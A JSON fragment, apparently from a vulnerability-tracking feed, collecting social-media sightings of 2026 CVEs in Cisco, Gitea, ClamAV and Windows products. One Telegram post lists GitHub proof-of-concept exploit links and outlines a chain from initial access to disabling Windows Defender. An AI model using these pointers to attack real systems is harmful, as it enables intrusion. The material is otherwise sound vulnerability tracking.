"creation_timestamp": "2026-08-15T12:00:03.307527Z"}, {"uuid": "0fb93bb9-9c1e-4b31-a60c-f98117d3b269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31152", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T12:00:03.349762Z"}, {"uuid": "84bee7a0-2512-45ed-95a6-000004872d25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpprg2kc5w2z", "content": "Daily IT Security Digest \u2014 2026-07-03\nCVE-2026-20262, a critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager, is being actively exploited in the wild.", "creation_timestamp": "2026-07-03T05:03:23.183368Z"}, {"uuid": "a41ec3f2-de8d-4856-87f9-33a659d78ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20030", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthsetah6v2e", "content": "CVE-2026-20030 - cisco crosswork planning\nCisco Crosswork software may be vulnerable to SQL command injection attacks, which can allow hackers to access sensitive data or take control of the system. This vulnerability\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-19T22:40:04.271579Z"}, {"uuid": "d518c916-9904-4f89-92e7-66ab0cde0fd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20231", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthseuxfd225", "content": "CVE-2026-20231 - cisco secure workload\nCisco Secure Workload software has a security issue where malicious input is not properly handled. This could allow an attacker to execute unintended code. Cisco has released a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-19T22:40:06.697232Z"}, {"uuid": "0b9eff80-7f4d-42a2-ad16-30bfa26146d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20155", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqekkmuoy26", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20155 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Cisco Evolved Programmable: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/05F5410D-5C03-4F4A-B4ED-3427772131ED", "creation_timestamp": "2026-07-03T10:45:55.225738Z"}, {"uuid": "3f9754f4-e51f-43ff-bcdc-0d914769d25c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20136", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqelg5ydk2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20136 \u0432 Cisco ISE: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A8692338-21EC-4CD8-AAA5-B11D122F606A", "creation_timestamp": "2026-07-03T10:46:24.145524Z"}, {"uuid": "ee77fd1a-6f09-4e6e-abaa-a701bf92e530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20132", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqfgidana2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20132 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Cisco Identity Services Engine: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/53A4078C-8510-45A9-95AF-78416E643D11", "creation_timestamp": "2026-07-03T11:01:34.159213Z"}, {"uuid": "5710cbe6-f3b5-441d-9b01-01af974dddfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mpqkg2hmgr2k", "content": "\ud83d\udcf0 Cisco Konfirmasi Celah Unified CM CVE-2026-20230 Kini Dieksploitasi Secara Aktif\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/03/cve-2026-20230-cisco-unified-cm-dieksploitasi-aktif/\n\n#callmanager #cisa #cisco #ciscoUnifiedCommunicationsManager #cve-2026-20230 #cyberSecurity", "creation_timestamp": "2026-07-03T12:30:46.463026Z"}, {"uuid": "4baad1c0-242f-4f58-896a-a65f22ab4888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/pixelmagazine.pt/post/3mprc6kk26p27", "content": "Vulnerabilidade CVE-2026-20230 em Unified Communications Manager j\u00e1 est\u00e1 a ser usada em ataques. H\u00e1 patches desde in\u00edcio de junho, mas muitas instala\u00e7\u00f5es continuam expostas na internet.", "creation_timestamp": "2026-07-03T19:36:05.562258Z"}, {"uuid": "c068d707-8172-41f5-9b49-d04721662b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mprkvjpwpw2x", "content": "CVE-2026-20896 - gitea open source git server\nGitea's Docker image has a security setting that allows anyone to pretend to be a user when using certain reverse-proxy authentication headers. This is a concern because it\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#gitea #CVE #infosec", "creation_timestamp": "2026-07-03T22:12:05.560700Z"}, {"uuid": "43c587e0-66eb-451e-bf3b-3571e9373e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpsf62l6hh2u", "content": "Daily IT Security Digest \u2014 2026-07-04\n### 4. \ud83d\udd34 Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild\n\nAttackers are actively exploiting a zero-day vulnerability in Cisco Catalyst SD-WAN Manager that allows users with write access to escalate to root privileges via crafted", "creation_timestamp": "2026-07-04T06:02:08.978055Z"}, {"uuid": "fda786a8-1437-4e8a-83b2-11ff09045ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20349", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3msxir2kk4t25", "content": "\ud83d\udea8 CISA KEV [CVSS 8.6 \u00b7 HIGH]\nCisco fixes vulnerability exploited to DoS its firewalls (CVE-2026-20349)\n\nhttps://www.helpnetsecurity.com/2026/08/13/cve-2026-20349-cisco-firewalls-dos/\n\n#CISA #KEV #PatchNow", "creation_timestamp": "2026-08-13T11:05:21.331399Z"}, {"uuid": "c62202e7-607e-44e3-9cd6-c250d0641aff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20779", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpt7vnjjtz2p", "content": "CVE-2026-20779 - Supply chain attack risk in Gitea. TOTP reuse flaw bypasses 2FA. CVSS 7.1. Update to 1.26.3 or later immediately. #CVE #Gitea #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-20779/", "creation_timestamp": "2026-07-04T14:00:38.005110Z"}, {"uuid": "7681be09-cb67-4a3d-8208-996bb271dc94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mpubnvy6vc2l", "content": "CISA Adds Three Known Exploited Vulnerabilities to Catalog\nRelease Date June 09, 2026\n\nCVE-2026-7473 Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability\nCVE-2026-11645 Google Chromium V8 Out-of-Bounds Read and Write Vulnerability\nCVE-2026-20245 Cisco Cataly...", "creation_timestamp": "2026-07-05T00:04:45.314481Z"}, {"uuid": "9f797be6-6b32-491a-906e-09a53c9ee8d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mpun7s4c7c2l", "content": "CISA\u3001\u6d3b\u767a\u306a\u60aa\u7528\u304c\u884c\u308f\u308c\u3066\u3044\u308b\u4e2d\u3001KEV\u30ab\u30bf\u30ed\u30b0\u306bCisco\u3001Chrome\u3001Arista\u306e\u8106\u5f31\u6027\u3092\u8ffd\u52a0\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u706b\u66dc\u65e5\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u306e\u5831\u544a\u3092\u53d7\u3051\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV \uff09\u30ab\u30bf\u30ed\u30b0\u306b3\u3064\u306e\u65b0\u305f\u306a\u8106\u5f31\u6027\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u8106\u5f31\u6027\u306e\u4e00\u89a7\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002\n\nCVE-2026-20245 (CVSS \u30b9\u30b3\u30a2: 7.8) - Cisco Catalyst SD-WAN Manager \u306e\u51fa\u529b\u30a8\u30f3\u30b3\u30fc\u30c9\u307e\u305f\u306f\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406\u306e\u4e0d\u5099\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u6e08\u307f\u306e\u30ed\u30fc\u30ab\u30eb\u653b\u6483\u8005\u304c\u3001\u7d30\u5de5\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30b7\u30b9\u30c6\u30e0\u306b\u63d0\u4f9b...", "creation_timestamp": "2026-07-05T03:31:37.269033Z"}, {"uuid": "624312f4-b7f7-4c0e-ac24-4a0b1fdd4f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mpuoreax3s2l", "content": "\u300cSplunk Enterprise\u300d\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8 - \u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u8106\u5f31\u6027\u306a\u3069\u89e3\u6d88\n\nSplunk\u306f\u3001\u300cSplunk Enterprise\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u898b\u3064\u304b\u3063\u305f\u3068\u3057\u3066\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u305f\u3002\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\uff08Critical\uff09\u300d\u3068\u3055\u308c\u308b\u8106\u5f31\u6027\u3082\u660e\u3089\u304b\u3068\u306a\u3063\u3066\u3044\u308b\u3002\n\n\u73fe\u5730\u6642\u95936\u670810\u65e5\u306b\u8907\u6570\u306e\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306b\u3066\u5bfe\u5fdc\u3057\u305f\u3082\u306e\u3002\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u88fd\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306a\u3069\u306e\u8106\u5f31\u6027\u3078\u3082\u5bfe\u51e6\u3057\u3066\u3044\u308b\u3002\n\n\u91cd\u8981\u5ea6\u306f4\u6bb5\u968e\u4e2d\u3082\u3063\u3068\u3082\u9ad8\u3044\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\uff08Critical\uff09\u300d\u3068\u3055\u308c\u308b\u8106\u5f31\u6027\u300cCVE-2026-20253\u300d\u3082\u542b\u307e\u308c\u3066\u3044\u305f\u3002", "creation_timestamp": "2026-07-05T03:59:19.377939Z"}, {"uuid": "4a3f4580-eddd-4df0-9f29-1c8d4e7238d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpv7wdllhg2p", "content": "CVE-2026-20896 - Critical auth bypass in Gitea Docker images \u22641.26.2. Default REVERSE_PROXY_TRUSTED_PROXIES=* allows IP spoofing via X-WEBAUTH-USER headers. CVSS 9.8. No patch available. Update config now. #CVE #Gitea #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-20896/", "creation_timestamp": "2026-07-05T09:06:20.854926Z"}, {"uuid": "f956a651-0f53-44c3-a5bf-9116ade06447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/pphm_HackerNews/1623", "content": "\ud83d\udd34 Hackers Exploiting Cisco Unified CM Vulnerability\n\nCisco announced patches for the vulnerability, tracked as CVE-2026-20230. The company said the critical security hole can be exploited by an unauthenticated, remote attacker to conduct SSRF attacks, write arbitrary files to the underlying operating system, and escalate privileges to root. Exploitation requires enabling the WebDialer service, which is disabled by default.\n\nWhen it announced fixes, Cisco noted that a PoC exploit had been available, but said it was not aware of any in-the-wild exploitation.", "creation_timestamp": "2026-08-22T00:00:27.737866Z"}, {"uuid": "b45e14b7-976b-4f25-84b6-9f4724df5352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/pphm_HackerNews/1558", "content": "\ud83d\udd34 Underground Forum User Claims to Sell Cisco CVE-2026-20045 Exploit Code\n\nCisco Unified Communications\nAlleged CVE-2026-20045 RCE Exploit Source Code Advertised on Underground Forum\n\nA threat actor is advertising what they claim to be source code and exploit material for CVE-2026-20045, a high-severity vulnerability affecting multiple Cisco Unified Communications products.\n\nAccording to the forum post, the actor claims:\n\n* Exploit targets CVE-2026-20045\n* CVSS Score: 8.2 (High)\n* Unauthenticated Remote Code Execution (RCE)\n* Source code included\n* Exploit download available to forum members\n* Targets multiple Cisco Unified Communications platforms", "creation_timestamp": "2026-08-22T00:00:27.917570Z"}, {"uuid": "8c336f91-b863-4fda-a8e3-27716908f04b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "published-proof-of-concept", "source": "Telegram/wffTTuVgQJ98JwhL42Ct7GiTcbOZOW8KxITp_kb-2yHdqmI", "content": "", "creation_timestamp": "2026-08-22T00:00:28.690958Z"}, {"uuid": "ca843669-58f4-4ca7-9201-8299e4fc9abe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpwhtesstw2e", "content": "\ud83d\udd34 CVE-2026-20896 - Critical (9.8)\n\nGitea Docker image versions up to and including 1.26.2 use REVERSE_PROXY_TRUSTED_PROXIES=* by def...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20896/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-05T21:00:31.349197Z"}, {"uuid": "d2115a03-e82a-4f45-9a55-cd471c2313d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20315", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117129671033700598", "content": "CISA has added two known vulnerabilities to the KEV catalogue.\n-  CVE-2026-72529: TrueConf Server Missing Authentication for Critical Function Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-72529\n-  CVE-2026-72530: TrueConf Server Code Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-72530 #CISA \nYesterday:\nCisco:\nCRITICAL: CVE-2026-20231, CVE-2026-20315, and CVE-2026-20317: Secure Workload Software Security Hardening Release: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-csw1-shSvndWP @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-08-20T20:15:44.089404Z"}, {"uuid": "775eeaac-f481-4c65-b93d-69e3f6c7bbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20213", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpws2zkkwo26", "content": "CVE-2026-20213: ClamAV's Two-Decade Bugs Cry for Immediate Remediation #CVE2026 #ClamAV #CyberSecurity", "creation_timestamp": "2026-07-06T00:03:45.437932Z"}, {"uuid": "1fdc9fae-70fc-4621-86a8-b44f7c3f4e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20213", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpws367d4y2q", "content": "CVE-2026-20213: Two Decades of Flaws Illuminate ClamAV's Security Gaps #CVE202620213 #ClamAV #CyberSecurity", "creation_timestamp": "2026-07-06T00:03:50.466425Z"}, {"uuid": "feee371e-1f46-48c7-98ed-61debb78cc23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20213", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpws7puzae2p", "content": "CVE-2026-20213: Is ClamAV's Long-Awaited Patch Too Little, Too Late? #ClamAV #CVE2026 #CyberSecurity", "creation_timestamp": "2026-07-06T00:06:22.995097Z"}, {"uuid": "7c59e7ce-966b-4141-b7a1-05b1ecdd87bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mpx65fccyb2h", "content": "\ud83d\udcf0 Cisco Konfirmasi Kerentanan Unified CM Kini Aktif Dieksploitasi, Pengguna Diminta Segera Patch\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/06/cisco-unified-cm-cve-2026-20230-aktif-dieksploitasi/\n\n#cisa #cisco #cve-2026-20230 #cybersecurity #networkSecurity #ssrf #unifiedCm", "creation_timestamp": "2026-07-06T03:39:49.926076Z"}, {"uuid": "0f979da2-d6f9-46f2-bfeb-e8e085f2b3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20231", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117129671033700598", "content": "CISA has added two known vulnerabilities to the KEV catalogue.\n-  CVE-2026-72529: TrueConf Server Missing Authentication for Critical Function Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-72529\n-  CVE-2026-72530: TrueConf Server Code Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-72530 #CISA \nYesterday:\nCisco:\nCRITICAL: CVE-2026-20231, CVE-2026-20315, and CVE-2026-20317: Secure Workload Software Security Hardening Release: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-csw1-shSvndWP @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-08-20T20:15:44.043495Z"}, {"uuid": "ad097f48-540d-4d1e-82b4-ef3860c133f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20317", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117129671033700598", "content": "CISA has added two known vulnerabilities to the KEV catalogue.\n-  CVE-2026-72529: TrueConf Server Missing Authentication for Critical Function Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-72529\n-  CVE-2026-72530: TrueConf Server Code Injection Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-72530 #CISA \nYesterday:\nCisco:\nCRITICAL: CVE-2026-20231, CVE-2026-20315, and CVE-2026-20317: Secure Workload Software Security Hardening Release: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-csw1-shSvndWP @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-08-20T20:15:44.139722Z"}, {"uuid": "43e52528-f1f5-416f-86de-341bbc5d6d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "published-proof-of-concept", "source": "Telegram/Hnh5kvBiZ07q02Wzarvcrlnf48Y4Gt3kSaOKhn6LmktH_wo", "content": "", "creation_timestamp": "2026-08-18T04:00:03.480428Z"}, {"uuid": "7ee02ab5-b13b-4b06-8722-04f07839bce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://bsky.app/profile/tugate.ch/post/3mssmoymlhs2u", "content": "Cisco alerta para duas falhas graves no ClamAV que amea\u00e7am sistemas Windows, permitindo ataques remotos de nega\u00e7\u00e3o de servi\u00e7o (DoS) sem autentica\u00e7\u00e3o pr\u00e9via. As vulnerabilidades, CVE-2026-20337 e CVE-2026-20338, afetam o analisador de ficheiros ZIP do sistema de c\u00f3digo aberto. \ud83d\udea8\n\n#alerta #graves #win", "creation_timestamp": "2026-08-11T12:32:29.139653Z"}, {"uuid": "30323b71-05ec-4388-b5fd-91a1a5bbc56a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://bsky.app/profile/tugate.ch/post/3mssmoymlhs2u", "content": "Cisco alerta para duas falhas graves no ClamAV que amea\u00e7am sistemas Windows, permitindo ataques remotos de nega\u00e7\u00e3o de servi\u00e7o (DoS) sem autentica\u00e7\u00e3o pr\u00e9via. As vulnerabilidades, CVE-2026-20337 e CVE-2026-20338, afetam o analisador de ficheiros ZIP do sistema de c\u00f3digo aberto. \ud83d\udea8\n\n#alerta #graves #win", "creation_timestamp": "2026-08-11T12:32:29.190467Z"}, {"uuid": "f362066d-7a22-469c-a46d-5883f362266c", "vulnerability_lookup_origin": 